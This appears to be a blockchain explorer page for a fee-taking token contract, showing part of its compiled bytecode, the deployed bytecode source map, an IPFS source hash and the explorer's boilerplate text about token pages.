0191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610904573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092891906111f1565b8160018151811061093b5761093b6111dd565b6001600160a01b039283166020918202929092010152600e5461096191309116846104db565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906109999085905f9086903090429060040161120c565b5f604051808303815f87803b1580156109b0575f80fd5b505af11580156109c2573d5f803e3d5ffd5b50506005805460ff1916905550505050565b6005805460ff191690556003545f906109fb906064906109f5908590610c06565b90610bc5565b600c546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610a33573d5f803e3d5ffd5b50506005805460ff1916905550565b5f805f805f80610a5187610c84565b6001600160a01b038f165f90815260076020526040902054959b50939950919750955093509150610a829087610804565b6001600160a01b03808b165f9081526007602052604080822093909355908a1681522054610ab09086610cd9565b6001600160a01b0389165f90815260076020526040902055610ad28483610d37565b610add818a8a610d5b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b2291815260200190565b60405180910390a3505050505050505050565b80610b4257610b42610ddf565b610b4d848484610a42565b806107fe576107fe601554601355601654601455565b5f8184841115610b8f5760405162461bcd60e51b8152600401610b869190610fa7565b60405180910390fd5b505f610b9b848661127d565b95945050505050565b5f805f610baf610e0c565b9092509050610bbe8282610bc5565b9250505090565b5f61084583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e8b565b5f825f03610c1557505f61035c565b5f610c2083856111c6565b905082610c2d8583611290565b146108455760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b86565b5f805f805f805f805f610c9c8a601454601354610eb7565b9250925092505f610cab610ba4565b90505f805f610cbc8e878787610f02565b919e509c509a509598509396509194505050505091939550919395565b5f80610ce583856112af565b9050838110156108455760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b86565b600454610d449082610cd9565b600455601754610d549083610804565b6017555050565b5f80610d65610ba4565b6001549091505f90610d7f906001600160a01b03166103d1565b90505f610d8c8784610c06565b9050610d988686610f4e565b15610dae5781601354610dab919061127d565b93505b305f90815260076020526040902054610dc79082610cd9565b305f9081526007602052604090205550505050505050565b601454158015610def5750601354155b15610df657565b60138054601555601480546016555f9182905555565b5f8080610e1b6012600a6111b8565b610e2990633b9aca006111c6565b601754909150610e55610e3e6012600a6111b8565b610e4c90633b9aca006111c6565b60175490610bc5565b811015610e8357601754610e6b6012600a6111b8565b610e7990633b9aca006111c6565b9350935050509091565b939092509050565b5f8183610eab5760405162461bcd60e51b8152600401610b869190610fa7565b505f610b9b8486611290565b5f808080610eca60646109f58988610c06565b90505f610edc60646109f58a8a610c06565b90505f610ef383610eed8b85610804565b90610804565b99919850919650945050505050565b5f808080610f108886610c06565b90505f610f1d8787610c06565b90505f610f2a8988610c06565b90505f610f3b83610eed8685610804565b939b939a50909850919650505050505050565b6001600160a01b038083165f90815260096020526040808220549284168252812054909160ff90811615911615818015610f855750805b8015610b9b5750600d546001600160a01b038681169116141595945050505050565b5f602080835283518060208501525f5b81811015610fd357858101830151858201604001528201610fb7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611007575f80fd5b50565b5f806040838503121561101b575f80fd5b823561102681610ff3565b946020939093013593505050565b5f805f60608486031215611046575f80fd5b833561105181610ff3565b9250602084013561106181610ff3565b929592945050506040919091013590565b5f60208284031215611082575f80fd5b813561084581610ff3565b5f806040838503121561109e575f80fd5b82356110a981610ff3565b915060208301356110b981610ff3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561111257815f19048211156110f8576110f86110c4565b8085161561110557918102915b93841c93908002906110dd565b509250929050565b5f826111285750600161035c565b8161113457505f61035c565b816001811461114a576002811461115457611170565b600191505061035c565b60ff841115611165576111656110c4565b50506001821b61035c565b5060208310610133831016604e8410600b8410161715611193575081810a61035c565b61119d83836110d8565b805f19048211156111b0576111b06110c4565b029392505050565b5f61084560ff84168361111a565b808202811582820484141761035c5761035c6110c4565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611201575f80fd5b815161084581610ff3565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561125c5784516001600160a01b031683529383019391830191600101611237565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561035c5761035c6110c4565b5f826112aa57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561035c5761035c6110c456fea264697066735822122055b415fb944fdc604e9ee0484b66c1348e4d0c6bf77377419ffee5add3da2dee64736f6c63430008160033

Deployed Bytecode Sourcemap

3326:10496:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3724:60;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;3724:60:0;;;;;;;;5424:83;;;;;;;;;;-1:-1:-1;5494:5:0;;;;;;;;;;;;-1:-1:-1;;;5494:5:0;;;;5424:83;;;;;;;:::i;6101:163::-;;;;;;;;;;-1:-1:-1;6101:163:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6101:163:0;1205:187:1;5756:95:0;;;;;;;;;;;;;:::i;6439:299::-;;;;;;;;;;-1:-1:-1;6439:299:0;;;;;:::i;:::-;;:::i;5859:83::-;;;;;;;;;;-1:-1:-1;5859:83:0;;3636:2;2000:36:1;;1988:2;1973:18;5859:83:0;1858:184:1;3538:19:0;;;;;;;;;;-1:-1:-1;3538:19:0;;;;;;4301:20;;;;;;;;;;-1:-1:-1;4301:20:0;;;;-1:-1:-1;;;;;4301:20:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4301:20:0;2047:203:1;5610:138:0;;;;;;;;;;-1:-1:-1;5610:138:0;;;;;:::i;:::-;;:::i;2284:148::-;;;;;;;;;;;;;:::i;:::-;;2197:79;;;;;;;;;;-1:-1:-1;2235:7:0;2262:6;-1:-1:-1;;;;;2262:6:0;2197:79;;5515:87;;;;;;;;;;-1:-1:-1;5587:7:0;;;;;;;;;;;;-1:-1:-1;;;5587:7:0;;;;5515:87;;6276:155;;;;;;;;;;-1:-1:-1;6276:155:0;;;;;:::i;:::-;;:::i;4328:32::-;;;;;;;;;;-1:-1:-1;4328:32:0;;;;-1:-1:-1;;;;;4328:32:0;;;5950:143;;;;;;;;;;-1:-1:-1;5950:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6058:18:0;;;6031:7;6058:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5950:143;2440:202;;;;;;;;;;-1:-1:-1;2440:202:0;;;;;:::i;:::-;;:::i;6101:163::-;6176:4;6193:39;1766:10;6216:7;6225:6;6193:8;:39::i;:::-;-1:-1:-1;6252:4:0;6101:163;;;;;:::o;5756:95::-;5809:7;4775:13;3636:2;4775;:13;:::i;:::-;4762:26;;:10;:26;:::i;:::-;5829:14;;5756:95;:::o;6439:299::-;6528:4;6545:27;6555:4;6561:2;6565:6;6545:9;:27::i;:::-;-1:-1:-1;;;;;6652:17:0;;;;;;:11;:17;;;;;;;;1766:10;6652:31;;;;;;;;;6583:123;;6606:4;;6652:43;;6688:6;6652:35;:43::i;:::-;6583:8;:123::i;:::-;-1:-1:-1;6726:4:0;6439:299;;;;;:::o;5610:138::-;-1:-1:-1;;;;;5723:16:0;;5676:7;5723:16;;;:7;:16;;;;;;5703:37;;:19;:37::i;2284:148::-;2146:6;;-1:-1:-1;;;;;2146:6:0;1766:10;2146:22;2138:31;;;;;;2391:1:::1;2375:6:::0;;2354:40:::1;::::0;-1:-1:-1;;;;;2375:6:0;;::::1;::::0;2354:40:::1;::::0;2391:1;;2354:40:::1;2422:1;2405:19:::0;;-1:-1:-1;;;;;;2405:19:0::1;::::0;;2284:148::o;6276:155::-;6347:4;6364:35;1766:10;6388:2;6392:6;6364:9;:35::i;2440:202::-;2146:6;;-1:-1:-1;;;;;2146:6:0;1766:10;2146:22;2138:31;;;;;;-1:-1:-1;;;;;2529:22:0;::::1;2521:31;;;::::0;::::1;;2589:6;::::0;;2568:38:::1;::::0;-1:-1:-1;;;;;2568:38:0;;::::1;::::0;2589:6;::::1;::::0;2568:38:::1;::::0;::::1;2617:6;:17:::0;;-1:-1:-1;;;;;;2617:17:0::1;-1:-1:-1::0;;;;;2617:17:0;;;::::1;::::0;;;::::1;::::0;;2440:202::o;8671:259::-;-1:-1:-1;;;;;8764:19:0;;8756:28;;;;;;-1:-1:-1;;;;;8803:21:0;;8795:30;;;;;;-1:-1:-1;;;;;8838:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8890:32;;160:25:1;;;8890:32:0;;133:18:1;8890:32:0;;;;;;;8671:259;;;:::o;9789:1876::-;9886:1;9877:6;:10;9869:19;;;;;;-1:-1:-1;;;;;9907:18:0;;9899:27;;;;;;-1:-1:-1;;;;;9945:16:0;;9937:25;;;;;;9996:4;10025:7;2235;2262:6;-1:-1:-1;;;;;2262:6:0;;2197:79;10025:7;-1:-1:-1;;;;;10017:15:0;:4;-1:-1:-1;;;;;10017:15:0;;;:32;;;;-1:-1:-1;2235:7:0;2262:6;-1:-1:-1;;;;;10036:13:0;;;2262:6;;10036:13;;10017:32;10013:1029;;;10066:27;10096:24;10114:4;10096:9;:24::i;:::-;10173:20;;10066:54;;-1:-1:-1;10150:43:0;;;10135:12;10245:6;10227:15;10237:4;10227:9;:15::i;:::-;10290:11;;-1:-1:-1;;;;10290:11:0;;;;;:39;;;;;10322:7;10290:39;:79;;;;-1:-1:-1;;;;;;10351:18:0;;;;;;:12;:18;;;;;;;;10350:19;10290:79;:117;;;;-1:-1:-1;;;;;;10391:16:0;;;;;;:12;:16;;;;;;;;10390:17;10290:117;:149;;;;-1:-1:-1;10429:10:0;;;;10428:11;10290:149;:183;;;;-1:-1:-1;10468:5:0;;-1:-1:-1;;;;;10460:13:0;;;10468:5;;10460:13;;10290:183;10268:471;;;10508:29;10517:19;10508:8;:29::i;:::-;10584:21;10628;;10624:100;;10674:30;10682:21;10674:7;:30::i;:::-;10489:250;10268:471;10774:5;;-1:-1:-1;;;;;10821:18:0;;;10755:16;10821:18;;;:12;:18;;;;;;10774:5;;;:11;;;;;10821:18;;10856:175;;;;10898:11;10894:122;;;10917:11;10913:101;;;10968:9;;10953:33;;10964:2;;-1:-1:-1;;;;;10968:9:0;10979:6;10953:10;:33::i;:::-;10988:7;;;;;;9789:1876;;;:::o;10913:101::-;10051:991;;;;;10013:1029;-1:-1:-1;;;;;11059:16:0;;;;;;:12;:16;;;;;;;;;:38;;-1:-1:-1;;;;;;11079:18:0;;;;;;:12;:18;;;;;;;;11059:38;11058:74;;;-1:-1:-1;11109:5:0;;-1:-1:-1;;;;;11103:11:0;;;11109:5;;11103:11;;;;:28;;-1:-1:-1;11126:5:0;;-1:-1:-1;;;;;11118:13:0;;;11126:5;;11118:13;;11103:28;11054:548;;;-1:-1:-1;11152:5:0;11054:548;;;11219:7;;-1:-1:-1;;;;;11203:24:0;;;11219:7;;11203:24;;;;:56;;-1:-1:-1;11254:5:0;;-1:-1:-1;;;;;11248:11:0;;;11254:5;;11248:11;11203:56;11181:198;;;11304:13;;11294:7;:23;11348:15;;11336:9;:27;11181:198;11431:7;;-1:-1:-1;;;;;11417:22:0;;;11431:7;;11417:22;;;;:56;;-1:-1:-1;11468:5:0;;-1:-1:-1;;;;;11460:13:0;;;11468:5;;11460:13;11417:56;11395:196;;;11518:12;;11508:7;:22;11561:14;;11549:9;:26;11395:196;11614:43;11625:4;11631:2;11635:6;11643:13;11614:10;:43::i;:::-;9858:1807;9789:1876;;;:::o;729:136::-;787:7;814:43;818:1;821;814:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;807:50;729:136;-1:-1:-1;;;729:136:0:o;13227:206::-;13295:7;13334;;13323;:18;;13315:27;;;;;;13355:16;13374:10;:8;:10::i;:::-;13355:29;-1:-1:-1;13404:21:0;:7;13355:29;13404:11;:21::i;13441:378::-;6783:10;:18;;-1:-1:-1;;6783:18:0;;;13538:16:::1;::::0;;13552:1:::1;13538:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13538:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13538:16:0::1;13514:40;;13583:4;13565;13570:1;13565:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13565:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13609:7:::1;::::0;:14:::1;::::0;;-1:-1:-1;;;13609:14:0;;;;:7;;;::::1;::::0;:12:::1;::::0;:14:::1;::::0;;::::1;::::0;13565:7;;13609:14;;;;;:7;:14:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13599:4;13604:1;13599:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13599:24:0;;::::1;:7;::::0;;::::1;::::0;;;;;:24;13666:7:::1;::::0;13634:54:::1;::::0;13651:4:::1;::::0;13666:7:::1;13676:11:::0;13634:8:::1;:54::i;:::-;13699:7;::::0;:112:::1;::::0;-1:-1:-1;;;13699:112:0;;-1:-1:-1;;;;;13699:7:0;;::::1;::::0;:58:::1;::::0;:112:::1;::::0;13758:11;;13699:7:::1;::::0;13774:4;;13788::::1;::::0;13795:15:::1;::::0;13699:112:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6824:10:0;:18;;-1:-1:-1;;6824:18:0;;;-1:-1:-1;;;;13441:378:0:o;13043:176::-;6783:10;:18;;-1:-1:-1;;6783:18:0;;;13147:7:::1;:11:::0;6796:5;;13133:35:::1;::::0;13164:3:::1;::::0;13133:26:::1;::::0;:9;;:13:::1;:26::i;:::-;:30:::0;::::1;:35::i;:::-;13187:3;::::0;13179:32:::1;::::0;13113:55;;-1:-1:-1;;;;;;13187:3:0::1;::::0;13179:32;::::1;;;::::0;13113:55;;13187:3:::1;13179:32:::0;13187:3;13179:32;13113:55;13187:3;13179:32;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6824:10:0;:18;;-1:-1:-1;;6824:18:0;;;-1:-1:-1;13043:176:0:o;8115:548::-;8212:15;8242:20;8277:12;8304:20;8339:12;8366;8392:19;8403:7;8392:10;:19::i;:::-;-1:-1:-1;;;;;8440:13:0;;;;;;:7;:13;;;;;;8197:214;;-1:-1:-1;8197:214:0;;-1:-1:-1;8197:214:0;;-1:-1:-1;8197:214:0;-1:-1:-1;8197:214:0;-1:-1:-1;8197:214:0;-1:-1:-1;8440:26:0;;8197:214;8440:17;:26::i;:::-;-1:-1:-1;;;;;8424:13:0;;;;;;;:7;:13;;;;;;:42;;;;8491:11;;;;;;;:29;;8507:12;8491:15;:29::i;:::-;-1:-1:-1;;;;;8477:11:0;;;;;;:7;:11;;;;;:43;8533:23;8545:4;8551;8533:11;:23::i;:::-;8567:30;8582:4;8588;8594:2;8567:14;:30::i;:::-;8638:2;-1:-1:-1;;;;;8623:32:0;8632:4;-1:-1:-1;;;;;8623:32:0;;8642:12;8623:32;;;;160:25:1;;148:2;133:18;;14:177;8623:32:0;;;;;;;;8186:477;;;;;;8115:548;;;:::o;6858:230::-;6964:13;6959:35;;6979:15;:13;:15::i;:::-;7005:28;7016:4;7022:2;7026:6;7005:10;:28::i;:::-;7049:13;7044:36;;7064:16;12980:11;;12970:7;:21;13014:13;;13002:9;:25;12925:110;873:192;959:7;995:12;987:6;;;;979:29;;;;-1:-1:-1;;;979:29:0;;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;1019:9:0;1031:5;1035:1;1031;:5;:::i;:::-;1019:17;873:192;-1:-1:-1;;;;;873:192:0:o;7944:163::-;7986:7;8007:15;8024;8043:16;:14;:16::i;:::-;8006:53;;-1:-1:-1;8006:53:0;-1:-1:-1;8079:20:0;8006:53;;8079:11;:20::i;:::-;8072:27;;;;7944:163;:::o;1514:132::-;1572:7;1599:39;1603:1;1606;1599:39;;;;;;;;;;;;;;;;;:3;:39::i;1073:226::-;1131:7;1155:1;1160;1155:6;1151:25;;-1:-1:-1;1172:1:0;1165:8;;1151:25;1186:9;1198:5;1202:1;1198;:5;:::i;:::-;1186:17;-1:-1:-1;1231:1:0;1222:5;1226:1;1186:17;1222:5;:::i;:::-;:10;1214:56;;;;-1:-1:-1;;;1214:56:0;;6876:2:1;1214:56:0;;;6858:21:1;6915:2;6895:18;;;6888:30;6954:34;6934:18;;;6927:62;-1:-1:-1;;;7005:18:1;;;6998:31;7046:19;;1214:56:0;6674:397:1;11944:753:0;12003:7;12012;12021;12030;12039;12048;12083:20;12118:12;12145;12171:90;12197:7;12219:9;;12243:7;;12171:11;:90::i;:::-;12068:193;;;;;;12274:16;12293:10;:8;:10::i;:::-;12274:29;;12329:15;12359:20;12394:12;12420:105;12446:7;12468:4;12487;12506:8;12420:11;:105::i;:::-;12314:211;;-1:-1:-1;12314:211:0;-1:-1:-1;12314:211:0;-1:-1:-1;12628:12:0;;-1:-1:-1;12655:4:0;;-1:-1:-1;12674:4:0;;-1:-1:-1;;;;;11944:753:0;;;;;;;:::o;540:181::-;598:7;;630:5;634:1;630;:5;:::i;:::-;618:17;;659:1;654;:6;;646:46;;;;-1:-1:-1;;;646:46:0;;7408:2:1;646:46:0;;;7390:21:1;7447:2;7427:18;;;7420:30;7486:29;7466:18;;;7459:57;7533:18;;646:46:0;7206:351:1;7789:147:0;7870:10;;:20;;7885:4;7870:14;:20::i;:::-;7857:10;:33;7911:7;;:17;;7923:4;7911:11;:17::i;:::-;7901:7;:27;-1:-1:-1;;7789:147:0:o;7375:406::-;7464:17;7492:16;7511:10;:8;:10::i;:::-;7564:7;;7492:29;;-1:-1:-1;7532:19:0;;7554:18;;-1:-1:-1;;;;;7564:7:0;7554:9;:18::i;:::-;7532:40;-1:-1:-1;7583:12:0;7598:18;:4;7607:8;7598;:18::i;:::-;7583:33;;7631:26;7642:6;7650;7631:10;:26::i;:::-;7627:78;;;7694:11;7684:7;;:21;;;;:::i;:::-;7672:33;;7627:78;7757:4;7741:22;;;;:7;:22;;;;;;:32;;7768:4;7741:26;:32::i;:::-;7732:4;7716:22;;;;:7;:22;;;;;:57;-1:-1:-1;;;;;;;7375:406:0:o;12705:212::-;12753:9;;:14;:30;;;;-1:-1:-1;12771:7:0;;:12;12753:30;12749:43;;;12705:212::o;12749:43::-;12818:7;;;12804:11;:21;12852:9;;;12836:13;:25;-1:-1:-1;12874:11:0;;;;12896:13;12705:212::o;7096:271::-;7144:7;;;4775:13;3636:2;4775;:13;:::i;:::-;4762:26;;:10;:26;:::i;:::-;7227:7;;7173:25;;-1:-1:-1;7261:20:0;4775:13;3636:2;4775;:13;:::i;:::-;4762:26;;:10;:26;:::i;:::-;7261:7;;;:11;:20::i;:::-;7251:7;:30;7247:74;;;7304:7;;4775:13;3636:2;4775;:13;:::i;:::-;4762:26;;:10;:26;:::i;:::-;7296:25;;;;;;7096:271;;:::o;7247:74::-;7342:7;7351;;-1:-1:-1;7096:271:0;-1:-1:-1;7096:271:0:o;1307:199::-;1393:7;1428:12;1421:5;1413:28;;;;-1:-1:-1;;;1413:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1452:9:0;1464:5;1468:1;1464;:5;:::i;8938:396::-;9032:7;;;;9085:28;9109:3;9085:19;:7;9097:6;9085:11;:19::i;:28::-;9070:43;-1:-1:-1;9124:12:0;9139:30;9165:3;9139:21;:7;9151:8;9139:11;:21::i;:30::-;9124:45;-1:-1:-1;9180:20:0;9203:27;9225:4;9203:17;:7;9124:45;9203:11;:17::i;:::-;:21;;:27::i;:::-;9180:50;9292:4;;-1:-1:-1;9311:4:0;;-1:-1:-1;8938:396:0;-1:-1:-1;;;;;8938:396:0:o;9342:439::-;9448:7;;;;9504:21;:7;9516:8;9504:11;:21::i;:::-;9486:39;-1:-1:-1;9536:12:0;9551:18;:4;9560:8;9551;:18::i;:::-;9536:33;-1:-1:-1;9580:12:0;9595:18;:4;9604:8;9595;:18::i;:::-;9580:33;-1:-1:-1;9624:20:0;9647:27;9669:4;9647:17;:7;9580:33;9647:11;:17::i;:27::-;9709:7;;;;-1:-1:-1;9758:4:0;;-1:-1:-1;9342:439:0;;-1:-1:-1;;;;;;;9342:439:0:o;11673:263::-;-1:-1:-1;;;;;11786:20:0;;;11747:4;11786:20;;;:12;:20;;;;;;;11839;;;;;;;;11747:4;;11786:20;;;;11785:21;;11839:20;11838:21;11785;11879:30;;;;;11896:13;11879:30;:49;;;;-1:-1:-1;11923:5:0;;-1:-1:-1;;;;;11913:15:0;;;11923:5;;11913:15;;11872:56;11673:263;-1:-1:-1;;;;;11673:263:0:o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2739:388::-;2807:6;2815;2868:2;2856:9;2847:7;2843:23;2839:32;2836:52;;;2884:1;2881;2874:12;2836:52;2923:9;2910:23;2942:31;2967:5;2942:31;:::i;:::-;2992:5;-1:-1:-1;3049:2:1;3034:18;;3021:32;3062:33;3021:32;3062:33;:::i;:::-;3114:7;3104:17;;;2739:388;;;;;:::o;3132:127::-;3193:10;3188:3;3184:20;3181:1;3174:31;3224:4;3221:1;3214:15;3248:4;3245:1;3238:15;3264:416;3353:1;3390:5;3353:1;3404:270;3425:7;3415:8;3412:21;3404:270;;;3484:4;3480:1;3476:6;3472:17;3466:4;3463:27;3460:53;;;3493:18;;:::i;:::-;3543:7;3533:8;3529:22;3526:55;;;3563:16;;;;3526:55;3642:22;;;;3602:15;;;;3404:270;;;3408:3;3264:416;;;;;:::o;3685:806::-;3734:5;3764:8;3754:80;;-1:-1:-1;3805:1:1;3819:5;;3754:80;3853:4;3843:76;;-1:-1:-1;3890:1:1;3904:5;;3843:76;3935:4;3953:1;3948:59;;;;4021:1;4016:130;;;;3928:218;;3948:59;3978:1;3969:10;;3992:5;;;4016:130;4053:3;4043:8;4040:17;4037:43;;;4060:18;;:::i;:::-;-1:-1:-1;;4116:1:1;4102:16;;4131:5;;3928:218;;4230:2;4220:8;4217:16;4211:3;4205:4;4202:13;4198:36;4192:2;4182:8;4179:16;4174:2;4168:4;4165:12;4161:35;4158:77;4155:159;;;-1:-1:-1;4267:19:1;;;4299:5;;4155:159;4346:34;4371:8;4365:4;4346:34;:::i;:::-;4416:6;4412:1;4408:6;4404:19;4395:7;4392:32;4389:58;;;4427:18;;:::i;:::-;4465:20;;3685:806;-1:-1:-1;;;3685:806:1:o;4496:140::-;4554:5;4583:47;4624:4;4614:8;4610:19;4604:4;4583:47;:::i;4641:168::-;4714:9;;;4745;;4762:15;;;4756:22;;4742:37;4732:71;;4783:18;;:::i;4946:127::-;5007:10;5002:3;4998:20;4995:1;4988:31;5038:4;5035:1;5028:15;5062:4;5059:1;5052:15;5078:251;5148:6;5201:2;5189:9;5180:7;5176:23;5172:32;5169:52;;;5217:1;5214;5207:12;5169:52;5249:9;5243:16;5268:31;5293:5;5268:31;:::i;5334:980::-;5596:4;5644:3;5633:9;5629:19;5675:6;5664:9;5657:25;5701:2;5739:6;5734:2;5723:9;5719:18;5712:34;5782:3;5777:2;5766:9;5762:18;5755:31;5806:6;5841;5835:13;5872:6;5864;5857:22;5910:3;5899:9;5895:19;5888:26;;5949:2;5941:6;5937:15;5923:29;;5970:1;5980:195;5994:6;5991:1;5988:13;5980:195;;;6059:13;;-1:-1:-1;;;;;6055:39:1;6043:52;;6150:15;;;;6115:12;;;;6091:1;6009:9;5980:195;;;-1:-1:-1;;;;;;;6231:32:1;;;;6226:2;6211:18;;6204:60;-1:-1:-1;;;6295:3:1;6280:19;6273:35;6192:3;5334:980;-1:-1:-1;;;5334:980:1:o;6319:128::-;6386:9;;;6407:11;;;6404:37;;;6421:18;;:::i;6452:217::-;6492:1;6518;6508:132;;6562:10;6557:3;6553:20;6550:1;6543:31;6597:4;6594:1;6587:15;6625:4;6622:1;6615:15;6508:132;-1:-1:-1;6654:9:1;;6452:217::o;7076:125::-;7141:9;;;7162:10;;;7159:36;;;7175:18;;:::i

Swarm Source

ipfs://55b415fb944fdc604e9ee0484b66c1348e4d0c6bf77377419ffee5add3da2dee
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.